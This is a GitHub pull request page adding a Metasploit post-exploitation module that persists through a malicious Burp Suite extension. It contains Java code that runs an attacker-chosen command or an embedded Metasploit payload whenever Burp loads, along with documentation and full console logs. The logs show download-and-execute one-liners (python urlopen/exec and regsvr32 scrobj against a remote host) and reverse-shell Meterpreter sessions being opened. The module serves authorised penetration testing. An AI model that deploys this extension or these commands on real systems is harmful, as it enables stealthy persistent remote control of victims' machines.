Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Burp extension persistence #19821

Open
wants to merge 11 commits into
base: master
Choose a base branch
from
27 changes: 27 additions & 0 deletions data/exploits/burp_extension/build.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
apply plugin: 'java'

repositories {
mavenCentral()
}

dependencies {
// implementation 'net.portswigger.burp.extender:burp-extender-api:1.7.13'
implementation 'net.portswigger.burp.extender:burp-extender-api:2.3'
}

sourceSets {
main {
java {
srcDir 'src/main/java'
}
resources {
srcDir 'src/main/resources'
}
}
}

task fatJar(type: Jar) {
baseName = project.name + '-all'
from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
with jar
}
7 changes: 7 additions & 0 deletions data/exploits/burp_extension/notes.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
Build: `gradle clean build`
Extension Location: build/libs/MetasploitPayloadExtension.jar
Updating payload in module:
1. Run the build command inside of this folder (data/exploits/burp_extension)
2. jar xf build/libs/MetasploitPayloadExtension.jar
3. Use this command to print out the hex: python3 -c "with open('burp/BurpExtender.class', 'rb') as f: print(''.join([chr(b) if 32 <= b <= 126 else '\\\\x{:02x}'.format(b) for b in f.read()]))"
4. You'll still need to escape \ and " characters.
1 change: 1 addition & 0 deletions data/exploits/burp_extension/settings.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
rootProject.name = 'MetasploitPayloadExtension'
100 changes: 100 additions & 0 deletions data/exploits/burp_extension/src/main/java/BurpExtender.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,100 @@
package burp;

import java.io.File;
import java.io.InputStream;
import java.io.PrintWriter;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;
import java.net.URL;
import java.net.URLClassLoader;
import java.lang.reflect.Method;

public class BurpExtender implements IBurpExtender {
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
// Read extension name from resource file and set it
InputStream nameInputStream = getClass().getClassLoader().getResourceAsStream("name.txt");
Scanner nameScanner = new Scanner(nameInputStream, StandardCharsets.UTF_8.name());
String extensionName = nameScanner.useDelimiter("\\A").next().trim();
callbacks.setExtensionName(extensionName);

// Obtain our output and error streams
PrintWriter stdout = new PrintWriter(callbacks.getStdout(), true);
PrintWriter stderr = new PrintWriter(callbacks.getStderr(), true);

// Detect operating system
String os = System.getProperty("os.name").toLowerCase();
Process process;

try {
stdout.println("Initializing extension.");

// Locate command.txt using ClassLoader
InputStream commandInputStream = getClass().getClassLoader().getResourceAsStream("command.txt");

if (commandInputStream != null) {
// Read the command from command.txt
Scanner commandScanner = new Scanner(commandInputStream, StandardCharsets.UTF_8.name());
String command = commandScanner.useDelimiter("\\A").next().trim();

if (os.contains("win")) {
// Create a temporary batch script to avoid line length issues from command line
File tempScript = File.createTempFile("command", ".bat");
tempScript.deleteOnExit(); // Ensure the file is deleted after execution

// Write the command to the script file
try (PrintWriter writer = new PrintWriter(tempScript, StandardCharsets.UTF_8.name())) {
writer.println("@echo off");
writer.println(command); // Write the payload command
}

// Execute the script file
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", tempScript.getAbsolutePath()});
} else {
// Unix-based systems: Use /bin/bash
process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", command});
}
} else {
stdout.println("XXX using jar file");
// Load burp_extension_pload.jar from resources
stdout.println("XXX getting resource as stream");
InputStream jarInputStream = getClass().getClassLoader().getResourceAsStream("burp_extension_pload.jar");
if (jarInputStream == null) {
throw new Exception("burp_extension_pload.jar not found in resources");
}

// Save the jar to a temporary file
stdout.println("XXX creating temp jar file");
File tempJar = File.createTempFile("burp_extension_pload", ".jar");
tempJar.deleteOnExit();

stdout.println("XXX writing temp content");
try (InputStream inputStream = jarInputStream) { // Declare jarInputStream as a resource
java.nio.file.Files.copy(inputStream, tempJar.toPath(), java.nio.file.StandardCopyOption.REPLACE_EXISTING);
}

// Load the jar using URLClassLoader
stdout.println("Loading internal pload jar");
try (URLClassLoader classLoader = new URLClassLoader(
new URL[]{tempJar.toURI().toURL()},
null // Use null for an isolated class loader
)) {
Class<?> mainClass = classLoader.loadClass("metasploit.Payload");
Method mainMethod = mainClass.getDeclaredMethod("main", String[].class);
mainMethod.invoke(null, (Object) new String[]{});
} catch (ClassNotFoundException e) {
stderr.println("Class not found: " + e.getMessage());
} catch (NoSuchMethodException e) {
stderr.println("Main method not found: " + e.getMessage());
} catch (Exception e) {
stderr.println("Error loading jar file (" + tempJar.toPath() + "): " + e.getMessage());
e.printStackTrace(stderr);
}
}

stdout.println("Finished initializing extension.");
} catch (Exception e) {
stderr.println("Error loading extension: " + e.getMessage());
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
FOOBARBAZ
1 change: 1 addition & 0 deletions data/exploits/burp_extension/src/main/resources/name.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Metasploit Payload Extension
Original file line number Diff line number Diff line change
@@ -0,0 +1,249 @@
## Vulnerable Application

This module adds a java based malicious extension to the Burp Suite configuration file.
When burp is opened, the extension will be loaded and the payload will be executed.

Tested against Burp Suite Community Edition v2024.9.4 on Kali.
Tested against Burp Suite Professional ??? on Kali.
Tested against Burp Suite Community Edition v2024.10.3 on Windows 10.

## Verification Steps

1. Install burp
2. Start msfconsole
3. Get an initial shell on *nix or Windows
4. Do: `use exploit/multi/local/burp_extension_persistence`
5. Do: `set session #`
6. Do: `set writabledir <directory>`
7. Do: `run`
8. Once the extension is installed, you should get a shell

## Options

### NAME

Name of the extension. If blank, a random name is closen.

### CONFIG

Config file location on target. This is a User Settings file that an extension can be added to.

### WritableDir

A directory where we can write the extension

### USER

User to target, or current user if blank

### GRADLE

If action is set to build, the local location of the gradle executable to build the extension with.
Defaults to `/usr/bin/gradle`

### Action: precompiled

Use pre-compiled bytecode, Gradle is not required

### Action: build

Build the extension locally with Gradle.

## Scenarios

### Linux/Kali Burp 2024.10.3

Initial access

```
[msf](Jobs:0 Agents:0) > use exploit/multi/script/web_delivery
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > setg verbose
verbose => true
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > setg lhost 1.1.1.1
lhost => 1.1.1.1
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 0
target => 0
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 1.1.1.1:4646
[*] Using URL: http://1.1.1.1:8282/dRgZhDZiHCi7X
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://1.1.1.1:8282/dRgZhDZiHCi7X', context=ssl._create_unverified_context());exec(r.read());"
[*] 1.1.1.1 web_delivery - Delivering Payload (436 bytes)
[*] Sending stage (24772 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (1.1.1.1:4646 -> 1.1.1.1:44554) at 2025-01-21 14:26:57 -0500

[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

(Meterpreter 1)(/root/metasploit-framework) > sysinfo
Computer : kali
OS : Linux 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15)
Architecture : x64
System Language : en_US
Meterpreter : python/linux
(Meterpreter 1)(/root/metasploit-framework) > getuid
Server username: h00die
```

#### Burp via Build

```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/local/burp_extension_persistence
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
[*] Using action precompiled - view all 2 actions with the show actions command
[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > set action build
action => build
[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) > set target 1
target => 1
[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set action build
action => build
[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set target 1
target => 1
[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set writabledir /tmp/
writabledir => /tmp/
[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > exploit
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) >
[*] Started reverse TCP handler on 1.1.1.1:4444
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_registry_check_key_exists, stdapi_registry_create_key, stdapi_registry_delete_key, stdapi_registry_enum_key_direct, stdapi_registry_enum_value_direct, stdapi_registry_load_key, stdapi_registry_open_key, stdapi_registry_query_value_direct, stdapi_registry_set_value_direct, stdapi_registry_unload_key, stdapi_sys_config_getprivs
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Gradle found
[*] Found config file: /root/.java/.userPrefs/burp/prefs.xml
[*] Found config file: /root/.java/.userPrefs/burp/community/prefs.xml
[*] Config mentioned in settings, but not found: /tmp/burp.json
[!] The service is running, but could not be validated. No config file listed, only writing plugin to disk
[*] Using extension name: 0jPrAJt
[*] Creating JAR file
[*] Building Burp extension jar file in /tmp/d20250121-7883-zppnzb
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk version "17.0.14-ea" 2025-01-21
OpenJDK Runtime Environment (build 17.0.14-ea+6-Debian-1)
OpenJDK 64-Bit Server VM (build 17.0.14-ea+6-Debian-1, mixed mode, sharing)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Starting a Gradle Daemon (subsequent builds will be faster)

BUILD SUCCESSFUL in 2s
4 actionable tasks: 3 executed, 1 up-to-date
[*] Writing malcious extension to disk: /tmp//0jPrAJt.jar
[+] Extension enabled, waiting for Burp to open with the config.
[*] Sending stage (24772 bytes) to 1.1.1.1
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:36144) at 2025-01-21 14:40:02 -0500
```

Burp Extension Install

1. Open burp
2. Click Next for a Temporary project in memory
3. Click Start Burp
4. Select the Extensions tab
5. Click Add
6. Click Select file under Extension details, and pick the jar file which was uploaded to the target
7. Click Next

#### Burp via Precompiled and User Settings

Export user settings:

1. From the main GUI click Settings
2. Click the 3 dots in the top right corner
3. Select User settings > Save user settings
4. save the file. No extension is needed, it will be `json`

Import user settings:

1. From the main GUI click Settings
2. Click the 3 dots in the top right corner
3. Select User settings > Load user settings
4. select the file which was previously saved
5. Upon loading, the payload will execute

```
[msf](Jobs:0 Agents:2) exploit(multi/local/burp_extension_persistence) > set action precompiled
action => precompiled
[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set config /tmp/user_settings.json
config => /tmp/user_settings.json
[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > exploit
[*] Exploit running as background job 4.
[*] Exploit completed, but no session was created.
[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) >
[*] Started reverse TCP handler on 1.1.1.1:4444
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_registry_check_key_exists, stdapi_registry_create_key, stdapi_registry_delete_key, stdapi_registry_enum_key_direct, stdapi_registry_enum_value_direct, stdapi_registry_load_key, stdapi_registry_open_key, stdapi_registry_query_value_direct, stdapi_registry_set_value_direct, stdapi_registry_unload_key, stdapi_sys_config_getprivs
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found config file: /root/.java/.userPrefs/burp/prefs.xml
[*] Found config file: /root/.java/.userPrefs/burp/community/prefs.xml
[*] Config mentioned in settings, but not found: /tmp/burp.json
[!] The service is running, but could not be validated. Config file found: /tmp/user_settings.json
[*] Using extension name: sDojM
[*] Creating JAR file
[*] Writing malcious extension to disk: /tmp//sDojM.jar
[*] Updating config file
[+] Config file saved in: /root/.msf4/loot/20250121145043_default_1.1.1.1_burp.config.json_619066.bin
[+] Extension written to disk, waiting for Burp to open and user to install extension.
[*] Sending stage (24772 bytes) to 1.1.1.1
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 1.1.1.1:37714) at 2025-01-21 14:52:27 -0500
```

### Windows

Initial shell
```
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > set target 3
target => 3
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 5.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:0) exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 1.1.1.1:4646
[*] Using URL: http://1.1.1.1:8282/ZOfTYkv5jpRpcv
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://1.1.1.1:8282/ZOfTYkv5jpRpcv.sct scrobj.dll
[*] Sending stage (203846 bytes) to 2.2.2.2
[*] Meterpreter session 4 opened (1.1.1.1:4646 -> 2.2.2.2:51773) at 2025-01-21 15:11:44 -0500
```

Burp Extension
```
[msf](Jobs:0 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/local/burp_extension_persistence
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
[*] Using action precompiled - view all 2 actions with the show actions command
[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set target 2
target => 2
[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set action precompiled
action => precompiled
[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set payload cmd/windows/powershell/meterpreter/reverse_tcp
payload => cmd/windows/powershell/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > set writabledir c:\\users\\windows\\Desktop\\
writabledir => c:\users\windows\Desktop\
[msf](Jobs:0 Agents:1) exploit(multi/local/burp_extension_persistence) > exploit
[*] Powershell command length: 4153
[*] Exploit running as background job 8.
[*] Exploit completed, but no session was created.
[msf](Jobs:1 Agents:1) exploit(multi/local/burp_extension_persistence) >
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found config: C:///Users//windows///Desktop//burp_user_settings.json
[!] The service is running, but could not be validated. No config file listed, only writing plugin to disk
[*] Using extension name: EKHhAH9U
[*] Creating JAR file
[*] Writing malcious extension to disk: c:\users\windows\Desktop\/EKHhAH9U.jar
[+] Extension enabled, waiting for Burp to open with the config.
[*] Sending stage (177734 bytes) to 2.2.2.2
[*] Meterpreter session 5 opened (1.1.1.1:4444 -> 2.2.2.2:51899) at 2025-01-21 15:17:54 -0500
```
Loading
Loading